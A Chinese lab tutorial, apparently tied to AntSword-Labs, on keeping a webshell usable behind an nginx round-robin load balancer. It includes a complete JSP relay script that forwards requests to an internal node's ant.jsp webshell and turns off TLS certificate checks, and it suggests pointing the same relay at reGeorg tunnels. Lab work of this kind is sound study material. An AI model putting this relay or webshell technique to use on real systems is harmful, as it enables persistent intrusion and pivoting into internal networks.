负载均衡反向代理下的webshell

news2024/11/17 19:43:43

  负载均衡(Load Balance) 是一种廉价的扩容的方案,它的概念不是本文的重点,不知道的可以去查资料学习。实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

其中像 HTTP 重定向方式、DNS方式等能够直接访问到单一机器的情况,不在我们本文讨论范围内。连接的时候,URL处按 IP 格式来填,然后把域名加在 Host 头处,就完事了。我们重点讨论不能直接访问到跑着具体业务的某个节点的情况,比如说「反向代理方式」。

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们也不讨论,跟单机没啥区别么不是。

我们以默认的「轮询」方式来做演示。演示的环境已经上传至 AntSword-Labs,有兴趣的朋友可以自行去尝试。

 LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jspNode1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:

 

漏洞复现:

 我们假定在真实的业务系统上,存在一个 RCE 漏洞,可以让我们获取 WebShell。

实验环境:

GitHub - AntSwordProject/AntSword-Labs: Awesome environment for antsword testsAwesome environment for antsword tests. Contribute to AntSwordProject/AntSword-Labs development by creating an account on GitHub.https://github.com/AntSwordProject/AntSword-Labs

安装后运行:

docker-compose build 建立环境

 docker-compose up -d 运行

docker ps -a 查看所有的进程,端口号为18080

 打开浏览器查看下:

 上传木马ant.jsp,这个文件是有的;

 打开中国蚁剑工具进行连接;

然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。

连接后打开我们的虚拟终端:

查看IP地址,发现我们的IP进行了漂移;

难点一

我们需要在每一台节点相同位置都上传相同内容的 WebShell

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:、

我们在执行命令时,无法知道下次的请求交给哪台机器去执行

我们执行 ip addr 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:

当我们需要传一些工具时,麻烦来了

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法
难点四

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

出现四个难点,我们该如何解决呢?

方法一:

首先在测试阶段,我们可以关闭一台服务器,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。 但在真实项目中,是不允许的,会严重影响业务。

方法二:

执行前先判断IP;要不要执行;

 这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑,一点美感都没有。而且HTTP 隧道的问题依旧没有解决.

另外,上传文件、HTTP 隧道 这些要怎么解决?

方法3、

在Web 层做一次 HTTP 流量转发 (重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.24.0.3)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

首先是 第 1 步,我们请求 /web.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /web.jsp,接着 第 3 步,/web.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /web.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1.创建 web.jsp 脚本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "https://172.24.0.3:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。

注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。

我们将 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

b) 要保证每一台 Node 上都有相同路径的 webshell.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

  2. 修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址,其它配置不变

  3. 测试执行命令, 查看 IP

该漏洞复现还有一点问题,可能是我环境的干扰,我会查找我的问题的;要是看出我的问题,麻烦大佬帮我指出下,谢谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/72903.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BioPython ② | 面向对象编程Object Oriented Programming

BioPython ② | Python面向对象编程 题目要求 定义分子类&#xff08;Molecule&#xff09;作为基类&#xff0c;包含集合elements和weight作为其属性&#xff0c;用初始化函数&#xff0c;将elements初始化为空集&#xff0c;weight初始化为None&#xff1b;定义show_weight…

进阶 - Git的远程仓库

本篇文章&#xff0c;是基于我自用Windows&#xff08;Win10&#xff09;系统当做示例演示 Git的远程仓库 之前我们一直在探讨 Git 的一些命令&#xff0c;也提及了仓库的概念。如果只是在一个仓库里管理文件历史&#xff0c;Git 和 SVN 真没啥区别。 Git 是分布式版本控制系…

02 stata入门【计量经济学及stata应用】

安装&#xff1a;建议直接在微信搜索&#xff0c;很多公众号有安装包资源及下载教程 不同版本在基本功能上无较大差异&#xff0c;一般为SE&#xff0c;更为专业MP&#xff0c;只是在处理变量个数或容量等存在不同 界面 历史命令&#xff1b;结果窗口&命令窗口&#xff1b…

字节跳动岗位薪酬体系曝光,看完感叹:不服不行,想高薪还得是学这个。。。。

目录&#xff1a;导读 前言 01岗位职级 02岗位薪酬 03绩效考核与晋升 大厂软件测试岗经验分享 一、软件测试基础篇&#xff1a;2022版 二、MySQL篇&#xff1a;2022版 三、 Linux篇&#xff1a;2022版 四、 Web测试 五、接口测试 六、APP测试 七、性能测试 八、Se…

Nacos一些理解

下载Mysql //下载mysql docker pull mysql:5.7 //运行容器 docker run -p 3306:3306 --name mysql -v /home/mysql/log:/var/log/mysql -v /home/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORDxx -d mysql:5.7 将导入数据库 1.新建数据库 nacos /*Navicat Premiu…

HyperMesh宝典 | 跟着老师学,你也可以做好二次开发

说到二次开发&#xff0c;你的脑海里是不是浮现出了“码农”两个字&#xff1f;有人可能会问&#xff0c;码农又是什么&#xff1f; 你是不是觉得二次开发这种码农干的事情感觉起来也太困难了吧&#xff1f; 其实有时候二次开发真的很简单&#xff0c;懂一点二次开发会让你的工…

机器学习中的数学原理——多项式回归

这个专栏主要是用来分享一下我在机器学习中的学习笔记及一些感悟&#xff0c;也希望对你的学习有帮助哦&#xff01;感兴趣的小伙伴欢迎私信或者评论区留言&#xff01;这一篇就更新一下《白话机器学习中的数学——多项式回归》&#xff01; 目录 一、什么多项式回归 二、算法…

Java#33(IO流)

目录 一.IO流 作用: (对于程序而言)用于读写数据(本地数据, 网络数据) 二.IO流体系 1.字节输出流 2.字节输入流 3.文件拷贝 3.字符集 字符流 字符输入流 字符输出流 缓冲流 转换流 序列化流 ​编辑反序列流 打印流 一.IO流 I: input O: output 流: 想流…

Linux下创建动态链接库与静态链接库

动态链接库 Linux下的动态链接库文件扩展名为so&#xff0c;可以用多个文件生成一个动态链接库。 在头文件中定义三个函数&#xff0c;三个函数分别于三个cpp文件中实现。 将三个cpp文件编译成动态库libdynamic.so -fPIC表示编译为位置独立的代码&#xff0c;如果不选择默…

使用YOLOv5练自己的数据集

说明 上次使用学习了如何运行yolov5检测自己的数据&#xff0c;这次学习yolov5如何训练自己的数据集 本次记录如何使用yolov5训练自己的数据集以及遇到报错解决方案 数据 使用数据&#xff1a;水果数据集 数据包含了png图片和相应的标注文件 切分数据 代码如下&#xff1…

[ vulhub漏洞复现篇 ] solr 远程命令执行(CVE-2019-0193)

&#x1f36c; 博主介绍 &#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 _PowerShell &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 &#x1f389;点赞➕评论➕收藏 养成习…

Kubernetes的基础概念

一、Kubernetes的介绍 用于自动部署、扩展和管理"容器化&#xff08;containerized&#xff09;应用程序"的开源系统 可以理解成K8S是负责自动化运维管理多个容器化程序&#xff08;比如Docker&#xff09;的集群&#xff0c;是一个生态极其丰富的容器编排框架工具 …

【现场问题】zookeeper的集群,其中两台起来了,但是另外一台就是起不来,或者起来也是standalone

zookeeper问题现象集群的配置zookeeper的启动以及状态查看问题报错点问题现象 1、总共三台机器&#xff0c;node92&#xff0c;node93&#xff0c;node94 其中node92做了拉起&#xff0c;但是node93&#xff08;leader&#xff09;和node94&#xff08;follower&#xff09;&a…

浅谈MVVM ——Model-View-View-Model

浅谈MVVM ——Model-View-View-Model 前言&#xff1a; 笔者最近接到这样一个机器人项目&#xff0c;接入他们的机器人平台做二次开发&#xff0c;开发自己的opk移植到机器人上做医院展示使用。opk是必须使用机器人厂家提供的经过一定封装过的&#xff0c;该opk的架构是MVVM。…

48W字?GitHub上下载量破百万的阿里:图解Java、网络、算法笔记

Java基础这个东西&#xff0c;无论在哪个公司都被看得尤为重要&#xff0c;而面试中关于基础的问题也是层出不穷。所以基础可以说是重中之重&#xff0c;当你的基础打牢了&#xff0c;其他的也就没有那么重要了。 说到基础&#xff0c;无外乎操作系统&#xff0c;网络&#xf…

pikachu-CSRF-SSRF-RCE速通

pikachu-CSRF-SSRF-RCE速通 目录pikachu-CSRF-SSRF-RCE速通CSRFCSRF(get)CSRF(post)CSRF TokenSSRFSSRF(curl)SSRF(file_get_content)RCEexec "ping"RCE exec "eval"CSRF 跨站请求伪造&#xff0c;说的通俗一点就是攻击者构造出某个网站的数据包请求并部署…

p3.第一章 基础入门 -- Python编程基本概念 (三)

1.2.2 Python语言 1.2.2.1 Python发展 1989年圣诞节期间&#xff0c;为了打发无聊的时间&#xff0c;荷兰人Guido van Rossum&#xff08;吉多范罗苏姆&#xff09;&#xff08;数学、计算机双硕士&#xff0c;2005年加入Google&#xff0c;2013年加入DropBox&#xff09;&am…

JavaUUID的理解

可笑&#xff0c;你竟然不知道 Java 如何生成 UUID - 沉默王二博客 UUID是通用唯一标识符的意思&#xff0c;就是唯一不重复的一串字符。 UUID的用途&#xff1a; 随机生成的文件名&#xff1b;Java Web 应用程序的 sessionID&#xff1b;数据库表的主键&#xff1b;事务 ID&…

EMQ 助力阿里云洛神云网络构建新一代“亿级并发、百万级吞吐”NLB 网络型负载均衡系统

万物智联的数字化时代,我们正走在从“数据量变”到“连接质变”的道路上。在日益丰富的物联网应用场景中,实现海量设备与云端之间双向通信连接,分析并从中获得实时洞察成了打造成功物联网解决方案的核心推动因素。EMQ 映云科技(以下简称“EMQ”)作为全球领先的开源物联网基础设…

UE在TextRender上显示中文文本

文章目录 1.实现目标2.实现过程2.1 添加字体2.2 创建字体材质2.3 将字体应用到TextRender3.参考资料1.实现目标 UE的UMG可以正常支持中文,但是TextRender并不支持中文,因此需要添加本地离线中文字体库,使TextRender显示中文。 2.实现过程 2.1 添加字体 (1)选择User Int…